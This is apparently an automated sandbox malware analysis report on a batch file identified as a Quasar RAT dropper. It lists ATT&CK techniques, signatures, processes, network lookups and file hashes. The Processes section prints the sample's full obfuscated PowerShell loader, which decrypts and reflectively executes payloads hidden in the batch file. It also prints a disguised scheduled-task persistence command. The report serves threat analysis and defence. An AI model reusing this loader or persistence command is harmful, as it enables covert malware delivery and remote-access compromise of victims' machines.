Malware Analysis Report

2024-08-06 11:26

Sample ID 240616-awh5ba1gpe
Target server.bat
SHA256 a35daf95a4dbdf04f63d1b41909153783fee7fbc99938f96af5d29f44d7f33f8
Tags
quasar vortex grabber execution spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a35daf95a4dbdf04f63d1b41909153783fee7fbc99938f96af5d29f44d7f33f8

Threat Level: Known bad

The file server.bat was found to be: Known bad.

Malicious Activity Summary

quasar vortex grabber execution spyware trojan

Quasar RAT

Quasar payload

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Creates scheduled task(s)

Suspicious use of WriteProcessMemory

Uses Task Scheduler COM API

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Scheduled Task/Job
T1053
Persistence
TA0003
Scheduled Task/Job
T1053
Privilege Escalation
TA0004
Scheduled Task/Job
T1053
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Query Registry
T1012
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-16 00:33

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-16 00:33

Reported

2024-06-16 00:36

Platform

win10v2004-20240226-en

Max time kernel

111s

Max time network

124s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\server.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2992 wrote to memory of 4468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2992 wrote to memory of 4468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4468 wrote to memory of 2388 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SYSTEM32\schtasks.exe
PID 4468 wrote to memory of 2388 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SYSTEM32\schtasks.exe
PID 4468 wrote to memory of 1760 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe
PID 4468 wrote to memory of 1760 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\server.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eZ/BdGP+hp/INTuCiV0z4Mbns33NZlVZkyKbi1TVuS4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('G/Agi11q4Y0U0lJm5CiH1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mnQuE=New-Object System.IO.MemoryStream(,$param_var); $UKJvP=New-Object System.IO.MemoryStream; $mmFpr=New-Object System.IO.Compression.GZipStream($mnQuE, [IO.Compression.CompressionMode]::Decompress); $mmFpr.CopyTo($UKJvP); $mmFpr.Dispose(); $mnQuE.Dispose(); $UKJvP.Dispose(); $UKJvP.ToArray();}function execute_function($param_var,$param2_var){ $VjnJF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zbiiw=$VjnJF.EntryPoint; $zbiiw.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\server.bat';$rsijF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\server.bat').Split([Environment]::NewLine);foreach ($CSTbf in $rsijF) { if ($CSTbf.StartsWith(':: ')) { $hKdyd=$CSTbf.Substring(3); break; }}$payloads_var=[string[]]$hKdyd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe" /rl HIGHEST /f

C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe

"C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4092 --field-trial-handle=2280,i,716736634476467098,11449718822158202904,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 82.90.14.23.in-addr.arpa udp

Files

memory/4468-0-0x00007FFEAC103000-0x00007FFEAC105000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4k3quqdj.23g.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4468-10-0x000002247E500000-0x000002247E522000-memory.dmp

memory/4468-11-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

memory/4468-12-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

memory/4468-13-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

memory/4468-14-0x000002247EB00000-0x000002247EB08000-memory.dmp

memory/4468-15-0x000002247F620000-0x000002247F778000-memory.dmp

memory/4468-16-0x000002247F780000-0x000002247FAA4000-memory.dmp

C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

memory/1760-23-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

memory/1760-24-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

memory/4468-35-0x00007FFEAC103000-0x00007FFEAC105000-memory.dmp

memory/1760-34-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

memory/4468-36-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

memory/1760-37-0x0000017F58060000-0x0000017F580A4000-memory.dmp

memory/1760-38-0x0000017F58130000-0x0000017F581A6000-memory.dmp

memory/4468-39-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

memory/1760-41-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp